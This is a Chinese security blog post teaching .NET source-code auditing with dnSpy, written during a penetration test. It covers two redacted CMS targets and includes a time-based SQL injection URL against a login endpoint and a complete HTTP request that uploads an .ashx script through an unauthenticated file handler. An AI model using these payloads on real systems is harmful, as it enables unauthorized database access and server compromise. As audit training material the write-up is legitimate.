0x01 前言

最近在打项目的时候,站点日常日不下来,于是只能打打供应商迂回一下来进行渗透了
刚好又发现了一些CMS,又刚好搞到了源码,接着又刚好感觉自己好像没有从来审过.net的源码
自己也没有发过.new审计的文章,于是就写写顺便给自己入入门咯

0x02 技能要求

这一点很重要, 决定了能不能看懂这一篇简单的文章

  1. 提前准备一个,下雨知道躲雨,不会乱捡地上的东西吃,大小便知道自理,会玩智能手机的大脑
  2. 学过任意一门编程语言,知道curd与mvc这种东西
  3. 拥有一台现代化的电子设备,例如:电脑
  4. 搞到.net的源码,不然审空气么

    0x03 环境准备

    工欲善其事,必先利其器
    这里我个人喜欢使用dnSpy这个软件来审计.net的源码
    软件github: https://github.com/dnSpy/dnSpy
    个人下载的版本: https://github.com/dnSpy/dnSpy/releases/download/v6.1.8/dnSpy-net-win64.zip

    0x04 案例一

    0x04.1 信息收集

    知己知彼,才能百战百胜,所以说想要后期简单一些,前期准备工作就要全一些了
    例如我们现在访问一下目标,随便找个接口,看看最基础的路由是怎么样的
    1.png
    2.png
    1. 抓取的完整路由:
    2. http://xxx.com/proxy/ipadv3/s.aspx?WorkerCode=111&WorkerPass=123&LRCode=&m=Login
    3. 从路由与命名可以看的出来
    4. m = 方法
    5. WorkerCode,WorkerPassLRCode都是参数
    知道了这些以后,就可以通过这些信息找到对应的模块代码进行阅读了

    0x04.2 路由分析

    1. 从这里以后就可以开始正式审计了,源码的话,自己想办法搞吧,现在先看看源码的目录结构
    2. 一般来说是先看一下 Web.config 里面通常保存着各种配置文件,例如:数据库账号密码等
    3. 我就不截图了,因为里面只有数据库配置没什么有价值的东西,看的出来还是很清晰的
    4. 根据前面抓取到的路由,我们可以找找文件./ym/ipadv3/s.aspx,调用的方法m=Login
    3.png
  1. 通过下图可以看的出来,代码在 Inherits="AspDIY.Net.Proxy.Web.ipadv3.s"
  2. 这种情况如果文件很多的话,想快速定位那么可以通过搜索类名的方法来快速定位

4.png

  1. 搜索: AspDIY
  2. 通过下图知道了./ym/ipadv3/s.aspx的实际业务代码
  3. 在./ym/proxy/bin/AspDIY.Net.Proxy.Web.dll
  4. 而./ym/proxy/bin/保存的就是全部业务的dll

5.png

  1. 知道这些以后,接下来的事情就是打开dnSpy然后引入./ym/proxy/bin/下的文件,进行代码审计即可

0x04.3 漏洞挖掘

6.png

0x04.3.1 sql注入

  1. 然后就可以开审了
  2. http://xxx.com/proxy/ipadv3/s.aspx?WorkerCode=111&WorkerPass=123&LRCode=&m=Login
  3. 对应源码 ./ym/ipadv3/s.aspx
  4. 然后对应 ./ym/proxy/bin/AspDIY.Net.Proxy.Web.dll
  5. 所以现在查看这个dll即可

7.png

  1. 打开 ./ym/proxy/bin/AspDIY.Net.Proxy.Web.dll
  2. 继续看 AspDIY.Net.Proxy.Web.ipadv3
  3. 下面的 s
  4. 里面的 m = Login
  5. 查看具体业务

8.png

  1. string text = RequestHelper.GetString("WorkerCode").PadLeft(6, '0');
  2. 主要跟一下这个参数
  3. 发现被 Services.Login(text, @string); 调用,继续跟下去

9.png

  1. 打开: ./ym/proxy/bin/AspDIY.Net.Proxy.Core.dll
  2. 命名空间: AspDIY.Net.Proxy.Core.Ipadv3
  3. 类: Services
  4. 方法: Login
  5. 参数: No
  6. 发现 No(工号)这个参数被 clsWorkerBaseData.CheckLogin(No, Pass, 0); 调用,继续跟下去

10.png

  1. 打开: ./ym/proxy/bin/BusinessData.dll
  2. 命名空间: Business.BusinessData
  3. 类: clsWorkerBaseData
  4. 方法: CheckLogin
  5. 参数: Code
  6. 可以看到 Code只是被Trim处理了,而Trim就是删除左右两边的空格,所以等于没做过滤

11.png

  1. 打开: ./ym/proxy/bin/BusinessData.dll
  2. 命名空间: Business.BusinessData
  3. 类: clsWorkerBaseData
  4. 方法: MW2PJG1ix
  5. 参数: A_1
  6. 通过下图可以知道 A_1 = Code = No = WorkerCode = 登录的工号
  7. 然后终于带入了sql查询整体是没过滤的
  8. 其中我们发现
  9. string sqlStr =("cwBlAGwAZQBjAHQAIABXAG8AcgBrAGUAcgBDAG8AZABlACwAIABQAGEAcwBzACAALABDAGEAcgBkAGkAZAAgAGYAcgBvAG0AIABZAF8AVwBvAHIAawBlAHIAIAB3AGgAZQByAGUAIABXAG8AcgBrAGUAcgBDAG8AZABlAD0AJwA=") + A_1 + ("JwAgAGEAbgBkACAASQBzAFUAcwBlAGQAPQAxAA==");
  10. 像是base64,解密一下
  11. select WorkerCode, Pass ,Cardid from Y_Worker where WorkerCode=' + A_1 + ' and IsUsed=1
  12. 到这里整个漏洞挖掘就结束了,可以发现,登录处没过滤导致有注入

12.png

  1. 最后面我们在测试一下,看看是否真的是注入
  2. http://xxx.com/proxy/ipadv3/s.aspx?WorkerCode=111%27%20if(1%3D1)%20waitfor%20delay%20%270%3A0%3A4%27--%20a%20&WorkerPass=123456&LRCode=&m=Login

13.png
14.png
15.png

0x05 案例二

0x05.1 信息收集

老样子访问一下目标,随便找个接口,看看最基础的路由是怎么样的
16.png
17.png

  1. 抓取的完整路由: http://test.com/login.aspx?Action=Login
  2. 从路由与命名可以看的出来
  3. 这一个比较的传统一些
  4. Action = 方法
  5. username,password,commit都属于参数

有了这个初步的消息以后,就可以通过源码来进行代码审计的阅读了

0x05.2 路由分析

  1. 源码的话,自己想办法搞吧
  2. 老样子先看看目录结构吧,然后通过前面实战抓的路由去查找一下具体文件
  3. ./ym2/login.aspx?Action=Login

18.png

  1. 通过下图可以看的出来,代码在 Inherits="Aspnet.Webform.Rmeeting.login"
  2. 这种情况如果文件很多的话,想快速定位那么可以通过搜索类名的方法来快速定位

19.png

  1. 搜索: Aspnet.Webform.Rmeeting
  2. 通过下图知道了./ym2/login.aspx的实际业务代码在./ym2/bin/Aspnet.Webform.Rmeeting.dll
  3. 而./ym2/bin/保存的就是全部业务的dll

20.png

0x05.2.1 Login路由分析

  1. 知道这些以后,接下来的事情就是打开dnSpy然后引入./ym2/bin/下的文件,进行代码审计即可
  2. 那么让我们试试查找一下 http://test.com/login.aspx?Action=Login 的具体业务在哪里
  3. 这样可以简单直观的把路由快速理清楚
  1. http://test.com/login.aspx?Action=Login 对应 ./ym2/login.aspx
  2. ./ym2/login.aspx 调用了 Inherits="Aspnet.Webform.Rmeeting.login"
  3. Aspnet.Webform.Rmeeting.dll ./ym2/bin/
  4. 所以这里我通过dnSpy软件,引入./ym2/bin/的所有dll,慢慢分析Aspnet.Webform.Rmeeting.dll
  5. 查找 Aspnet.Webform.Rmeeting login
  6. 在通过login类查找在Action=Login

21.png

  1. 进行登录操作,后面的就不必在看了,在这里就已经找到路由了
  2. 也已经可以完全理解这个系统的路由走向了

22.png

0x05.3 漏洞挖掘

  1. 在挖掘中,发现大量的接口都是强制要登录的,只有少部分是不需要登录的
  2. 例如: ./ym2/Handler/AppMeeting.ashx
  3. 这个文件就需要登录,大部分的文件都是如下图

23.png

0x05.3.1 任意文件上传

  1. 前面说过大部分都是需要登录的接口,但是刚好,这个接口就是不需要登录的那个,并且有漏洞...
  2. 源码路径: ./ym2/Handler/FileTransferHandler.ashx
  3. 参数: Action
  4. Action表示进入那个方法,ClipUploadAttachmentUpload都是调用的一个类方法,就是参数不同而已
  5. 所以随便找一个方法跟进去看看
  6. 换成真实路径:http://test.com/Handler/FileTransferHandler.ashx?Action=ClipUpload
  7. 但是怎么构造有没有漏洞还不知道,所以继续跟下去

24.png

  1. 接下来就是查找这个FileTransferHelper对应的dll,然后查找到对应的HandleMethod方法进行审计了
  2. 如果你直接通过搜索你会发现dll你会发现没有FileTransferHelper.dll
  3. 这个时候不要慌,换成dnSpy软件来进行搜索即可

25.png
26.png

  1. 通过dnSpy软件的搜索功能,成功找到了 FileTransferHelper
  2. 源码路径: ./ym2/bin/Aspnet.Webform.Rmeeting.dll
  3. 这样就可以查看代码逻辑了

27.png

  1. 从下图看的出来,只要请求为POST/PUT即可进入 FileTransferHelper.UploadFile()
  2. 继续跟进 UploadFile() 方法

28.png
29.png
30.png

  1. 现在路径也知道了,怎么构造也可以,也知道了没有过滤了,那么接下来就是很简单的,构造数据包了
  2. POST /Handler/FileTransferHandler.ashx?Action=ClipUpload HTTP/1.1
  3. Host: test.com
  4. Accept: application/json, text/javascript, */*; q=0.01
  5. X-Requested-With: XMLHttpRequest
  6. Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySBJd6SVtIrIWGGP5
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  9. Cookie: ASP.NET_SessionId=lap5sx00tc4deuoq2jul1fbv; Language=zh-CN
  10. Connection: close
  11. Content-Length: 189
  12. ------WebKitFormBoundarySBJd6SVtIrIWGGP5
  13. Content-Disposition: form-data; name="files[]"; filename="456.ashx"
  14. Content-Type: image/png
  15. <%@ Language="C#" Class="Handler1" %>
  16. public class Handler1 : System.Web.IHttpHandler,System.Web.SessionState.IRequiresSessionState
  17. {
  18. public void ProcessRequest(System.Web.HttpContext Context)
  19. {
  20. Context.Response.ContentType = "text/plain";
  21. Context.Response.Write("Hello World");
  22. }
  23. public bool IsReusable
  24. {
  25. get
  26. {
  27. return false;
  28. }
  29. }
  30. }
  31. ------WebKitFormBoundarySBJd6SVtIrIWGGP5--

31.png

  1. 然后访问: http://test.com/Resources/image/33246xxxxxxxxxxxxx3374a.ashx
  2. 查看效果

32.png

0x06 总结

总的来说,.net的代码都比较的清晰明了,有点编程基础的话哪怕没正式学过.net也可以通过变量名,方法名,很快很好的审计出漏洞,对比其它语言例如java简单太多了